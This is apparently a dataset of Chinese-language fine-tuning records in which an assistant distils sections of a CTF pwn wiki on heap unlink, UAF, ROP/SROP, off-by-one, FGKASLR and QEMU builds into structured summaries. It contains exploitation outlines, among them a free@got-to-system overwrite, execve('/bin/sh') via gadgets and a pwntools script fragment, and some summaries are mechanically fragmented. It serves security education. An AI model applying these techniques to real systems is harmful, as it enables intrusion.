{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8f1fb655223a82d90772", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「题目介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：get shell > note3 > 题目介绍\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“题目介绍”展开。\n- 题目是一个notepad，提供了创建、删除、编辑、查看笔记的功能 `` 1.New note 2.Show note 3.Edit note 4.Delete note 5.Quit option--->> ` 保护如下所示 ` Canary : Yes NX : Yes PIE : No Fortify : No RelRO : Partial ``\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 6 行，首行 `1.New note`\n- plain: 5 行，首行 `Canary : Yes`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 186, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "题目介绍", "heading_path": ["get shell", "note3", "题目介绍"], "original_id": "docs-4abdd5a7e67af2287189", "original_line": 1091, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "1f9b775b01789f8f0e01038f", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8f23c2a3b6a9f8259f9b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md` 中的章节「unlink」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md`\n标题：堆中的检查\n章节：堆中的检查 > unlink\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“unlink”展开。\n- | 检查目标 | 检查条件 | 报错信息 | | :-------------------: | :--------------------------------------: | :--------------------------------------: | | size vs prev_size | chunksize(P) !\n- = prev_size (next_chunk(P)) | corrupted size vs. prev_size | | Fd, bk 双向链表检查 | FD->bk !\n- = P | corrupted double-linked list (not small) |\n- = P | corrupted double-linked list | | nextsize 双向链表 | P->fd_nextsize->bk_nextsize !\n- = P \\|\\| P->bk_nextsize->fd_nextsize !\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 449, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "unlink", "heading_path": ["堆中的检查", "unlink"], "original_id": "docs-570cbecf5af15f1d86e9", "original_line": 1037, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md", "source_root": "docs", "source_sha256": "4375f656de4fa14c2380f946b7c43a901ed3a64708e6a1af69983cd2bbed2373", "split": "train", "split_group_key": "6fad0635c1474877069d8119", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "堆中的检查"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8f442ceda2a9e586dfea", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md` 中的章节「获取shell」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md`\n标题：SROP\n章节：SROP > 攻击原理 > 获取shell\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“获取shell”展开。\n- 首先，我们假设攻击者可以控制用户进程的栈，那么它就可以伪造一个Signal Frame，如下图所示，这里以64位为例子，给出Signal Frame更加详细的信息 [图片: signal2-stack;\n- 文件: ./figure/srop-example-1.png] 当系统执行完sigreturn系统调用之后，会执行一系列的pop指令以便于恢复相应寄存器的值，当执行到rip时，就会将程序执行流指向syscall地址，根据相应寄存器的值，此时，便会得到一个shell。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 238, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "获取shell", "heading_path": ["SROP", "攻击原理", "获取shell"], "original_id": "docs-eb3aaebbe28bb25ea931", "original_line": 1378, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md", "source_root": "docs", "source_sha256": "be09d01c0a7443a4780110de7f6d46e89cf31a313492e7e6da2a5370dd9dbdd1", "split": "train", "split_group_key": "20e56136ace3683f3e8c2586", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "SROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8fc7e99ec93e2161e44f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「分析程序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：DEBUG(\"b *0x4006B9\\nc\") > Stack smash > 32C3 CTF readme > 分析程序\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析程序”展开。\n- char aPctfHereSTheFl[] .data:0000000000600D20 aPctfHereSTheFl db 'PCTF{Here',27h,'s the flag on server}',0 ` 但是如果我们直接利用栈溢出输出该地址的内容是不可行的，这是因为我们读入的内容 byte_600D20[v1++] = v2;\n- `也恰恰就是该块内存，这会直接将其覆盖掉，这时候我们就需要利用一个技巧了 - 在 ELF 内存映射时，bss 段会被映射两次，所以我们可以使用另一处的地址来进行输出，可以使用 gdb 的 find来进行查找。\n- ` 又看了看对应地址的内容，可以发现如下内容，说明程序的flag就在这里。\n- ida 看一下 ``c __int64 sub_4007E0() { __int64 v0;\n- // [sp+108h] [bp-20h]@1 v5 = MK_FP(__FS__, 40LL);\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:c\n\n代码/命令片段线索：\n- c: 31 行，首行 `__int64 sub_4007E0()`\n- C: 1 行，首行 `memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1));`\n- plain: 2 行，首行 `.data:0000000000600D20 ; char aPctfHereSTheFl[]`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1271, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "分析程序", "heading_path": ["DEBUG(\"b *0x4006B9\\nc\")", "Stack smash", "32C3 CTF readme", "分析程序"], "original_id": "docs-a29ace376f60f257082f", "original_line": 1266, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "f9e9228f068931d9741223bb", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:c"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9092020b7ed01fcd80f8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md` 中的章节「利用思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md`\n标题：Chunk Extend and Overlapping\n章节：trigger system(\"/bin/sh\") > 2015 hacklu bookstore > 利用思路\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“利用思路”展开。\n- 具体思路如下 1. 利用堆溢出进行 chunk extend，使得在 submit 中 malloc(0x140uLL) 时，恰好返回第二个订单处的位置。\n- 程序中主要的漏洞在于堆溢出和格式化字符串漏洞，但是如果想要利用格式化字符串漏洞，必然需要溢出对应的dest 数组。\n- 在 submit 之前，布置好堆内存布局，使得把字符串拼接后恰好可以覆盖 dest 为指定的格式化字符串。\n- 而程序最后在输出 dest 的时候，之前所读取的那部分选择必然是在栈上的，所以我们如果我们在栈上预先布置好一些控制流指针，那就可以来控制程序的执行流程。\n- 3. 再次利用格式化字符串漏洞，覆盖 free@got 为 system 地址，从而达到任意命令执行的目的。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 25 行，首行 `00:0000│ rsp 0x7ffe6a7f3ec8 —▸ 0x400c93 ◂— mov eax, 0`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1811, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "利用思路", "heading_path": ["trigger system(\"/bin/sh\")", "2015 hacklu bookstore", "利用思路"], "original_id": "docs-eef8ffb5069c955bd784", "original_line": 913, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "source_root": "docs", "source_sha256": "b01e68217ab7de1be420b9424581a4f5375501c0cee771572bfb815bdb771d2a", "split": "train", "split_group_key": "458b8105cb7d32e30f710e8c", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Chunk Extend and Overlapping"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-90cb1b9e8315cc2748b2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md` 中的章节「利用分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md`\n标题：Use After Free\n章节：Use After Free > 例子 > 利用分析\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“利用分析”展开。\n- 我们可以看到 Use After Free 的情况确实可能会发生，那么怎么可以让它发生并且进行利用呢？\n- 需要同时注意的是，这个程序中还有一个magic函数，我们有没有可能来通过use after free 来使得这个程序执行magic函数呢？\n- 所以我们必须利用写real content的时候来进行覆盖。\n- +-----------------+ | printnote | +-----------------+ | content | size +-----------------+------------------->+----------------+ | real | | content | | | +----------------+ 那么，根据我们之前在堆的实现中所学到的，显然note是一个fastbin chunk（大小为16字节）。\n- 具体采用的思路如下 - 申请note0，real content size为16（大小与note大小所在的bin不一样即可） - 申请note1，real content size为16（大小与note大小所在的bin不一样即可） - 释放note0 - 释放note1 - 此时，大小为16的fast bin chunk中链表为note1->note0 - 申请note2，并且设置real content的大小为8，那么根据堆的分配规则 - note2其实会分配note1对应的内存块。\n\n关键术语：\n- UAF\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1064, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "利用分析", "heading_path": ["Use After Free", "例子", "利用分析"], "original_id": "docs-ffb8f336ba177d1e2a94", "original_line": 1122, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md", "source_root": "docs", "source_sha256": "280ce3e15e835a91782f3994f9563b6399c11cb2ddc7b2393a90599906f09806", "split": "train", "split_group_key": "5f08e3ad990e693b0cdfdc48", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Use After Free"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-91745e4ec12672b01b51", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/randomization/fgkaslr.md` 中的章节「缺点」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/randomization/fgkaslr.md`\n标题：FGKASLR\n章节：FGKASLR > 缺点\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“缺点”展开。\n- 根据 FGKASLR 的特点，我们可以发现它具有以下缺陷 - 函数粒度随机化，如果函数内的某个地址知道了，函数内部的相对地址也就知道了。\n- 此外，该节区具有以下一些不错的 gadget - swapgs_restore_regs_and_return_to_usermode，该部分的代码可以帮助我们绕过 KPTI 防护 - memcpy 内存拷贝 - sync_regs，可以把 RAX 放到 RDI 中 - __ksymtab 相对于内核镜像的偏移是固定的。\n- 因此，如果我们可以泄露数据，那就可以泄露出其它的符号地址，如prepare_kernel_cred、commit_creds。\n- 因此，一旦知道其中的某个地址，就可以获取该节区所有的地址。\n- 因此在获取了内核镜像的基地址后，就可以计算出数据区数据的地址。\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- defense\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 565, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "缺点", "heading_path": ["FGKASLR", "缺点"], "original_id": "docs-bab85c5b4410d05bf516", "original_line": 688, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/randomization/fgkaslr.md", "source_root": "docs", "source_sha256": "7a1e8456215c0c527a2cc2e29a0de89ed5de3cf8eafa1490bc317a7ac74ec9d0", "split": "train", "split_group_key": "5b35ed3698ef8fceedbd66f3", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "defense"], "title": "FGKASLR"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/defense/randomization/fgkaslr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9315fed30a363c904ab3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/tricks/writable-root.md` 中的章节「题目分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/tricks/writable-root.md`\n标题：直接改写根文件系统\n章节：直接改写根文件系统 > 例题：ACTF2025 - arandom > 题目分析\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“题目分析”展开。\n- 接下来查看 /init 启动脚本： `shell bash-5.2$ cat /init #!\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:shell\n\n代码/命令片段线索：\n- shell: 20 行，首行 `Boot took 5.66 seconds`\n- shell: 16 行，首行 `bash-5.2$ cat /init`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1364, "chunk_count": 1, "chunk_index": 0, "ctf_score": 34, "ctf_task_type": "pwn", "heading": "题目分析", "heading_path": ["直接改写根文件系统", "例题：ACTF2025 - arandom", "题目分析"], "original_id": "docs-2b978f7a47b61312245e", "original_line": 838, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/writable-root.md", "source_root": "docs", "source_sha256": "8ba94a5f6edc5a2e3491ee073c831bd52fc73d7c3cf7cf818829b7a891ecad14", "split": "train", "split_group_key": "0aaa7de9b172dae5db4a73e7", "subcategory": "pwn/linux/kernel-mode", "terms": ["漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:shell"], "title": "直接改写根文件系统"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/tricks/writable-root.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-93acddbe584afcc6236f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/environment/build-qemu.md` 中的章节「编译 QEMU」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/environment/build-qemu.md`\n标题：QEMU 下载与编译\n章节：QEMU 下载与编译 > 编译 QEMU\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“编译 QEMU”展开。\n- 接下来直接 make 即可： `shell build$ make -j$(nproc) ` 完成编译之后在当前目录下可以看到一个新的可执行文件 qemu-system_x86-64，这个就是 Qemu 的本体了。\n- 如果想要从命令行启动我们自行编译的 QEMU，则可以键入 make install 命令，其会自动安装到 /bin 目录下： `shell build$ sudo make install ``\n- target-list=<架构名>：指定要编译的 CPU 架构，这里我们指定为 x86_64-softmmu 即表示我们要编译 x86 架构的 64位 CPU。\n- 首先安装一些必备的依赖： ``shell $ sudo apt -y install ninja-build build-essential zlib1g-dev pkg-config libglib2.0-dev binutils-dev libpixman-1-dev libfdt-dev ` 接下来创建 build 目录并配置对应的编译选项： `shell $ mkdir build && cd build build$ ../qemu-7.0.0/configure --enable-kvm --ta...\n- enable-debug：能够对 Qemu 进行调试。\n\n关键术语：\n- pwn\n- virtualization\n- qemu\n- environment\n- code:shell\n\n代码/命令片段线索：\n- shell: 1 行，首行 `$ sudo apt -y install ninja-build build-essential zlib1g-dev pkg-config libglib2.0-dev binutils-dev libpixman-1-dev l...`\n- shell: 2 行，首行 `$ mkdir build && cd build`\n- shell: 1 行，首行 `build$ make -j$(nproc)`\n- shell: 1 行，首行 `build$ sudo make install`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 705, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "编译 QEMU", "heading_path": ["QEMU 下载与编译", "编译 QEMU"], "original_id": "docs-5eb6d24db81b7a6c6fb0", "original_line": 80, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu.md", "source_root": "docs", "source_sha256": "7a872403384ead2f2daba84faf227f631c640da3c7ff7b7e049dd013b69c9a73", "split": "train", "split_group_key": "c09eada4d3582ea864bfd276", "subcategory": "pwn/virtualization/qemu", "terms": ["pwn", "virtualization", "qemu", "environment", "code:shell"], "title": "QEMU 下载与编译"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-93ae8a532ea5ec94de4d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`\n标题：基本 ROP\n章节：zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26] > ret2syscall > 例子\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- > 点击下载: ret2syscall 首先检测程序开启的保护： ``shell ➜ ret2syscall checksec rop Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ` 可以看出，源程序为 32 位，开启了 NX 保护。\n- 接下来利用 IDA 进行反编译： `C int __cdecl main(int argc, const char argv, const char envp) { int v4;\n- 比如说这里我们利用如下系统调用来获取 shell： `C execve(\"/bin/sh\",NULL,NULL) ` 其中，该程序是 32 位，所以我们需要使得 - 系统调用号，即 eax 应该为 0xb - 第一个参数，即 ebx 应该指向 /bin/sh 的地址，其实执行 sh 的地址也可以。\n- 类似的，我们可以得到控制其它寄存器的 gadgets `shell ➜ ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'ebx' 0x0809dde2 : pop ds ;\n- 此次，由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell，所以我们利用程序中的 gadgets 来获得 shell，而对应的 shell 获取则是利用系统调用。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:shell\n- code:c\n- code:text\n- code:python\n\n代码/命令片段线索：\n- shell: 6 行，首行 `➜ ret2syscall checksec rop`\n- C: 10 行，首行 `int __cdecl main(int argc, const char **argv, const char **envp)`\n- C: 1 行，首行 `execve(\"/bin/sh\",NULL,NULL)`\n- shell: 6 行，首行 `➜ ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'eax'`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4116, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "例子", "heading_path": ["zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]", "ret2syscall", "例子"], "original_id": "docs-29e50c49453dc80aba4d", "original_line": 65, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "source_root": "docs", "source_sha256": "057a5fc1a3ebb4d1e1c7911a1cc846c084c7768efcee467c77c24351625444cb", "split": "train", "split_group_key": "95632f6790364600b6154b89", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:shell", "code:c", "code:text", "code:python"], "title": "基本 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-93ed33a1c043cf019358", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「coding=utf-8」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：coding=utf-8\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“coding=utf-8”展开。\n- from pwn import * context.terminal = [\"tmux\",\"splitw\",\"-h\"] context.log_level = 'debug'\n- sh = process(\"./note\") #libc = ELF(\"/glibc/2.29/64/lib/libc.so.6\") sh = process(\"./note-re\") libc = ELF(\"./libc-2.29.so\")\n- def add(size,payload): sh.sendlineafter(\"Choice: \",'1') sh.sendlineafter(\"Size: \",str(size)) sh.sendafter(\"Content: \",payload)\n- def delete(index): sh.sendlineafter(\"Choice: \",'2') sh.sendlineafter(\"Idx: \",str(index))\n- def show(index): sh.sendlineafter(\"Choice: \",'3') sh.sendlineafter(\"Idx: \",str(index))\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": 